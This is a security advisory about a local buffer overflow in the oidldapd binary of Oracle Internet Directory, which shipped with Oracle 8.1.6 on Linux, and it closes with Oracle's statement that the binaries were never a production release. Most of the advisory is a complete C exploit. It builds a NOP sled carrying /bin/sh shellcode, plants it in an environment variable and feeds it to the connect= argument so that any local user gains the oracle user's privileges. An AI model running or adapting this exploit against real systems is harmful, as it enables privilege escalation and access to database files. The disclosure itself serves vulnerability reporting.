COMMAND

    oidldapd

SYSTEMS AFFECTED

    Oracle Internet Directory

PROBLEM

    Juan  Manuel  Pascual  found  following  (tested  with oidldapd in
    Oracle 8.1.6).   There is a  buffer overflow in  oidldapd that can
    be use by  local users to  obtain euid of  oracle user.   With the
    default instalation oracle user owns all database files.  Any user
    with local access, can gain euid= oracle.

    /*
    Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested
    in RH 6.2 and 6.1. This code is a bullshit (i know please no comments
    about ;-)).

    If someone exports this to Sparc please tell me.

    synopsis: buffer overflow in oidldapd
    impact:	  any user gain euid=oracle.


    Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
    */

    #include <stdio.h>
    #include <stdlib.h>

    #define DEFAULT_OFFSET                   13
    #define DEFAULT_BUFFER_SIZE             700
    #define NOP                            0x90
    #define ORACLE_HOME		"/usr/local/oracle/app/oracle/product/8.1.6"

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr,*name[3],environ[100],binary[120];
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;


      buff = malloc(bsize);
      addr = get_sp() - offset;
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      memcpy(buff,"EGG=",4);
      putenv(buff);
      sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
      putenv(environ);
      sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
      system(binary);
    }

SOLUTION

    The Linux version of  Oracle Internet Directory (mentioned  in the
    alert)  is  not  a  production  release from Oracle; though Oracle
    Internet  Directory  2.0.6  was  never  released on Linux, the OID
    binaries were accidentally shipped  with the 8.1.6 Linux  port and
    apparently  install  by  default.   Oracle  position  is that this
    should be  regarded as  a "pre  alpha" product,  is not supported,
    and  should  under  no  circumstances  put  into  production  in a
    customer's  environment.   Oracle  apologize  for  our mistake and
    regret and inconvenience this has caused our customers.

    Oracle encourages all Linux  directory developers to download  the
    upcoming production version of Oracle Internet Directory,  v2.1.1,
    part of the Oracle 8.1.7 (8i  Release 3) server  media pack,  from
    http://technet.oracle.com/.